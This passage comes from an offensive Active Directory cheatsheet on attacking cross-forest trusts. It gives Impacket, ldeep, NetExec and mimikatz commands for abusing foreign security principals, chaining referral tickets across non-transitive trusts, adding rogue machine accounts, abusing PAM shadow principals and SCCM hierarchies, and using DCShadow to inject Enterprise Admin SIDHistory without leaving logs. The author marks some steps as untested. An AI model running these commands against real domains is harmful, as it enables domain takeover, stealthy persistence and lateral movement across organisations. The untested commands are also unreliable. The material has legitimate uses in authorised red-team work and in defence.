CIFS/dc.targetDomain.local -dc-ip targetDomain.local/user If there is SID filtering, same thing as above but with RID > 1000 (for example, Exchange related groups are sometimes highly privileged, and always with a RID > 1000). Otherwise, get the foreignSecurityPrincipal. These users of the current domain are also members of the trusting forest, and they can be members of interesting groups: #These SIDs are members of the target domain ldeep ldap -u user1 -p password -d domain.local -s search '(objectclass=foreignSecurityPrincipal)' | jq '.[].objectSid' #The found SIDs can be search in the current forest ldeep ldap -u user1 -p password -d domain.local -s search '(objectSid=)' Then, it is possible to forge an referral ticket for this user and access the target forest with its privileges. TGT delegation By default, Domain Controllers are setup with Unconstrained Delegation (which is necessary in an Active Directory to correctly handle the Kerberos authentications). If TGT delegation is enabled in the trust attributes, it is possible to coerce the remote Domain Controller authentication from the compromised Domain Controller, and retrieve its TGT in the ST. If TGT delegation is disabled, the TGT will not be added in the ST, even with the Unconstrained Delegation. Additionally, Selective Authentication must not be enabled on the trust, and a two ways trust is needed. How to exploit an Unconstrained Delegation. Account Operators Replicating Trust Attack (AORTA) Everything is explained here. Presented in the Active Directory cheatsheet. Transit across non-transitive trusts WARNING ! For the moment, this attack has not been tested on Linux with Impacket but only with Rubeus from a Windows machine. The following commands are here for information purpose only and probably need some adjustments. I recommend you to perform this attack with Rubeus (look at the Active Directory cheatsheet). If a non-transitive trust is setup between domains from two different forests (domain A and B for example), users from domain A will be able to access resources in domain B (in case that B trusts A), but will not be able to access resources in other domains that trust domain B (for example, domain C). Non-transitive trusts are setup by default on External Trusts for example. However, there is a way to make non-transitive trusts transitive. Full explains here. For this example, there is an External Trust between domains A and B (which are in different forests), there is a Within Forest trust between domains B and C (which are in the same forest), and a Parent-child trust between domains C and D (so, they are in the same forest). We have a user (userA) in domain A, and we want to access services in domain D, which is normally impossible since External Trusts are non-transitive. First, obtain a TGT for userA in his domain A getTGT.py -dc-ip domainA.local/userA:password export KRB5CCNAME=./userA.ccache Then, request a referral for the domain B with the previously obtained TGT (for the moment, everything is normal). This referral can be used to access resources in domain B as userA getST.py -k -no-pass -spn "krbtgt/domainB.local" -dc-ip domainA.local/userA With this referral, it is not possible to request for a ST in domain C since there is no transitivity. However, it is possible to use it to ask for a "local" TGT in domain B for userA. This will be a valid TGT in domain B and not a referral between A and B getST.py -k -no-pass -spn "krbtgt/domainB.local" -dc-ip domainA.local/userA Now, this TGT can be reused to ask for a referral to access domain C, still from domain A with user A getST.py -k -no-pass -spn "krbtgt/domainC.local" -dc-ip domainA.local/userA This referral for domain C can be, in turn, used to access domain D with the same technique, and so on. This attack permits to pivot between all the trusts (and consequently the domains) in the same forest from a domain in a external forest. However, it is not possible to directly use this technique to access a domain in another forest that would have a trust with domain D. For example, if domain D has an External Trust with domain E in a third forest, it will be not possible to access domain E from A. A valid workaround is to use the referral for domain D to request a ST for LDAP in domain D, and use it to create a machine account. This account will be valid in domain D and will be used to restart the attack from domain D (like with user A) and access domain E. getST.py -k -no-pass -spn "ldap/dc.domainD.local" -dc-ip domainA.local/userA addcomputer.py -k -no-pass -computer-name 'ControlledComputer$' -computer-pass 'ComputerPassword' -domain-netbios domainD.local domainA.local/userA #Then, ask for a TGT and replay the attack against domain E Across forest - PAM trust The goal is to compromise the bastion forest and pivot to the production forest to access to all the resources with a Shadow Security Principal mapped to a high privs group. Check if the current forest is a bastion forest Enumerate trust properties ForestTransitive must be true SIDFilteringQuarantined must be false ldeep ldap -u user1 -p password -d domain.local -s trusts Enumerate shadow security principals ldeep ldap -u user1 -p password -d domain.local -s search '(distinguishedName=*Shadow Principal Configuration*)' |jq '.[].name, .[].member, .[]."msDS-ShadowPrincipalSid"' Check if the current forest is managed by a bastion forest ForestTransitive must be true ldeep ldap -u user1 -p password -d domain.local -s trusts A trust attribute of 1096 is for PAM (0x00000400) + External Trust (0x00000040) + Forest Transitive (0x00000008). Get the shadow security principals ldeep ldap -u user1 -p password -d domain.local -s object "Shadow Principal Configuration" -v |jq '.[].name, .[].member, .[]."msDS-ShadowPrincipalSid"' Name - Name of the shadow principal member - Members from the bastion forest which are mapped to the shadow principal msDS-ShadowPrincipalSid - The SID of the principal (user or group) in the user/production forest whose privileges are assgined to the shadow security principal. In our example, it is the Enterpise Admins group in the user forest These users can access the production forest through the trust with classic workflow (PSRemoting, RDP, etc), or with SIDHistory injection since SIDFiltering in a PAM Trust. SCCM Hierarchy takeover In case an organisation has multiple SCCM primary sites dispersed between different domains, it has the possibility to setup a Central Administration Site to administrate all the sites from one "top" site server. If it the case, by default the CAS will automatically replicate all the SCCM site admins between all the sites. This means, if you have takeover one site and added a controlled user as SCCM site admin, he will be automatically added as a site admin on all the other site by the CAS, and you can use him to pivote between the sites. Full explains here. Forest Persistence - DCShadow MUST BE TESTED MORE CORRECTLY DCShadow permits to create a rogue Domain Controller on a standard computer in the AD. This permits to modify objects in the AD without leaving any logs on the real Domain Controller The compromised machine must be in the root domain on the forest, and the command must be executed as DA (or similar) The attack needs 2 instances on the compromised machine. One to start RPC servers with SYSTEM privileges and specify attributes to be modified nxc smb -u Administrator -p password -M mimikatz -o COMMAND='"token::elevate" "privilege::debug" "lsadump::dcshadow /object: /attribute: /value="' And second with enough privileges (DA or otherwise) to push the values : nxc smb -u Administrator -p password -M mimikatz -o COMMAND='lsadump::dcshadow /push' --server-port 8080 Set interesting attributes Set SIDHistory to Enterprise Admin lsadump::dcshadow /object:user1 /attribute:SIDHistory /value:-519 Modify primaryGroupID lsadump::dcshadow /object:user1 /attribute:primaryGroupID /value:519 Set a SPN on an user lsadump::dcshadow /object:user1 /attribute:servicePrincipalName /value:"Legitime/User1" References The Hacker Recipes Pentester Academy PayloadAllTheThings InternalAllTheThings Pentestlab.blog HackTricks Haax Red Teaming Experiments NetExec wiki Cube0x0 Dirk-jan Mollema Snovvcrash Exploit.ph Adam Chester Olivier Lyak Wagging the Dog Masky release Active Directory Spotlight LDAP Pass back SOAPHound ThievingFox SpecterOps MDSec Semperis Cogiceo Akamai Security Blog BloodHound Legacy & BloodHound CE Hack The Box